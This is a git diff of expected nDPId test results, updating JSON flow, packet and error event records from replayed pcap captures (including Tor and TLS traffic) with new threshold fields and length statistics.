00765{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":12,"source":"tls_invalid_reads.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1421985541772794,"flow_src_last_pkt_time":1421985541772794,"flow_dst_last_pkt_time":1421985541772794,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":10,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":10,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":10,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1421985541772794,"l3_proto":"ip4","src_ip":"74.80.160.99","dst_ip":"67.217.77.28","src_port":3258,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} @@ -33,6 +33,6 @@ ~~ total memory freed........: 6043948 bytes ~~ total allocations/frees...: 121512/121512 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 203 chars +~~ json string min len.......: 303 chars ~~ json string max len.......: 1156 chars -~~ json string avg len.......: 679 chars +~~ json string avg len.......: 729 chars diff --git a/test/results/tor.pcap.out b/test/results/tor.pcap.out index 88623d439..638c27f5f 100644 --- a/test/results/tor.pcap.out +++ b/test/results/tor.pcap.out @@ -1,10 +1,10 @@ 00483{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"tor.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00546{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"tor.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1383821660212806} -00180{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821660212806} +00280{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821660212806,"packet_id":1,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821660212806} 00346{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821660212806,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00180{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821662212866} +00280{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821662212866,"packet_id":2,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821662212866} 00346{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821660212806,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00180{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821664212868} +00280{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821664212868,"packet_id":3,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821664212868} 00346{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821660212806,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00749{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"tor.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383821665420161,"flow_src_last_pkt_time":1383821665420161,"flow_dst_last_pkt_time":1383821665420161,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821665420161,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51110,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00520{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"tor.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_src_last_pkt_time":1383821665420161,"flow_dst_last_pkt_time":1383821665420161,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1383821665420161,"pkt":"UlQA2EYhUlQAWul3CABFAAA0A15AAIAGe0DAqAH8W49d8semAbvp\/8nSAAAAAIACIABVtgAAAgQFtAEDAwgBAQQC"} @@ -12,7 +12,7 @@ 00513{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"tor.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_src_last_pkt_time":1383821665491486,"flow_dst_last_pkt_time":1383821665491157,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"thread_ts_usec":1383821665491486,"pkt":"UlQA2EYhUlQAWul3CABFAAAoA19AAIAGe0vAqAH8W49d8semAbvp\/8nT+Fm4\/VAQAQAEIgAAAAAAAAAA"} 01143{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"tor.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1383821665420161,"flow_src_last_pkt_time":1383821665498155,"flow_dst_last_pkt_time":1383821665491157,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":215,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":215,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821665498155,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51110,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web","hostname":"www.ct7ctrgb6cr7.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 01358{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":9,"source":"tor.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":3,"flow_first_seen":1383821665420161,"flow_src_last_pkt_time":1383821665498155,"flow_dst_last_pkt_time":1383821665606254,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":215,"flow_dst_max_l4_payload_len":748,"flow_src_tot_l4_payload_len":215,"flow_dst_tot_l4_payload_len":748,"midstream":0,"thread_ts_usec":1383821665606254,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51110,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web","hostname":"www.ct7ctrgb6cr7.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"184d532a16876b78846ae6a03f654890","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"CN=www.xkgk7fdx362yyyxib.com","subjectDN":"CN=www.g6ghvisevf3ibuu5.net","fingerprint":"94:F9:FF:E2:7F:DB:1F:B8:19:65:20:6F:F6:DE:B6:A5:D5:AF:14:C7"}}} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":25,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821666212873} +00281{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821666212873,"packet_id":25,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821666212873} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":25,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821666164055,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00748{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"tor.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383821666407384,"flow_src_last_pkt_time":1383821666407384,"flow_dst_last_pkt_time":1383821666407384,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821666407384,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"46.59.52.31","src_port":51111,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00520{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"tor.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_src_last_pkt_time":1383821666407384,"flow_dst_last_pkt_time":1383821666407384,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1383821666407384,"pkt":"UlQA2EYhUlQAWul3CABFAAA0A2hAAIAG0l3AqAH8Ljs0H8enAbvpjJYYAAAAAIACIADhCQAAAgQFtAEDAwgBAQQC"} @@ -20,7 +20,7 @@ 00512{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"tor.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":3,"flow_src_last_pkt_time":1383821666481792,"flow_dst_last_pkt_time":1383821666480751,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"thread_ts_usec":1383821666481792,"pkt":"UlQA2EYhUlQAWul3CABFAAAoA2lAAIAG0mjAqAH8Ljs0H8enAbvpjJYZMTT2fVAQAQAZGwAAAAAAAAAA"} 01394{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":29,"source":"tor.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1383821666407384,"flow_src_last_pkt_time":1383821666482149,"flow_dst_last_pkt_time":1383821666480751,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":222,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":222,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821666482149,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"46.59.52.31","src_port":51111,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN","hostname":"www.e6r5p57kbafwrxj3plz.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 01609{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":32,"source":"tor.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":3,"flow_first_seen":1383821666407384,"flow_src_last_pkt_time":1383821666482149,"flow_dst_last_pkt_time":1383821666558024,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":222,"flow_dst_max_l4_payload_len":749,"flow_src_tot_l4_payload_len":222,"flow_dst_tot_l4_payload_len":749,"midstream":0,"thread_ts_usec":1383821666558024,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"46.59.52.31","src_port":51111,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN","hostname":"www.e6r5p57kbafwrxj3plz.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"184d532a16876b78846ae6a03f654890","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"CN=www.gmvuy6mtjbxevwo3w.com","subjectDN":"CN=www.bpcau5b3haif5els.net","fingerprint":"3A:B1:8A:6F:C3:F6:41:ED:77:D5:40:C3:85:79:8B:62:46:BC:65:9C"}}} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":55,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821668212884} +00281{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821668212884,"packet_id":55,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821668212884} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":55,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821668066805,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00749{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"tor.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383821668403824,"flow_src_last_pkt_time":1383821668403824,"flow_dst_last_pkt_time":1383821668403824,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821668403824,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51112,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00520{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"tor.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_src_last_pkt_time":1383821668403824,"flow_dst_last_pkt_time":1383821668403824,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1383821668403824,"pkt":"UlQA2EYhUlQAWul3CABFAAA0A3VAAIAGx5DAqAH8JuVGNceoAbuUs9YxAAAAAIACIADrCAAAAgQFtAEDAwgBAQQC"} @@ -28,144 +28,48 @@ 00512{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"tor.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":3,"flow_src_last_pkt_time":1383821668548030,"flow_dst_last_pkt_time":1383821668547648,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"thread_ts_usec":1383821668548030,"pkt":"UlQA2EYhUlQAWul3CABFAAAoA3ZAAIAGx5vAqAH8JuVGNceoAbuUs9YyhA0RIVAQAQC1nQAAAAAAAAAA"} 01397{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":60,"source":"tor.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1383821668403824,"flow_src_last_pkt_time":1383821668548416,"flow_dst_last_pkt_time":1383821668547648,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":224,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":224,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821668548416,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51112,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN","hostname":"www.q4cyamnc6mtokjurvdclt.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 01605{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":63,"source":"tor.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":3,"flow_first_seen":1383821668403824,"flow_src_last_pkt_time":1383821668548416,"flow_dst_last_pkt_time":1383821668700468,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":224,"flow_dst_max_l4_payload_len":929,"flow_src_tot_l4_payload_len":224,"flow_dst_tot_l4_payload_len":929,"midstream":0,"thread_ts_usec":1383821668700468,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51112,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN","hostname":"www.q4cyamnc6mtokjurvdclt.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"e1691a31bfe345d2692da75636ddfb00","unsafe_cipher":0,"cipher":"TLS_DHE_RSA_WITH_AES_256_CBC_SHA","issuerDN":"CN=www.gg562izcxdvqdk.com","subjectDN":"CN=www.fcsyvnlemwxv5p.net","fingerprint":"C1:93:18:2C:A3:1D:AC:5F:C7:DE:17:8A:4E:B1:E8:13:BB:08:73:3A"}}} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":80,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821670213310} +00281{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821670213310,"packet_id":80,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821670213310} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":80,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821669834523,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":83,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821672213282} +00281{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821672213282,"packet_id":83,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821672213282} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":83,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821669834523,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00755{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":86,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383821673254958,"flow_src_last_pkt_time":1383821673254958,"flow_dst_last_pkt_time":1383821673254958,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":144,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":144,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":144,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821673254958,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00691{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_src_last_pkt_time":1383821673254958,"flow_dst_last_pkt_time":1383821673254958,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"thread_ts_usec":1383821673254958,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} 00863{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":86,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383821673254958,"flow_src_last_pkt_time":1383821673254958,"flow_dst_last_pkt_time":1383821673254958,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":144,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":144,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":144,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383821673254958,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Dropbox","proto_id":"121","encrypted":0,"breed":"Acceptable","category_id":13,"category":"Cloud"}} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":87,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821674212949} +00281{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821674212949,"packet_id":87,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821674212949} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":87,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821673254958,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":88,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821676212885} +00281{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821676212885,"packet_id":88,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821676212885} 00347{"packet_event_id":1,"packet_event_name":"packet","packet_id":88,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383821673254958,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00181{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":89,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821678212925} +00282{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1383821678212925,"packet_id":89,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383821678212925} 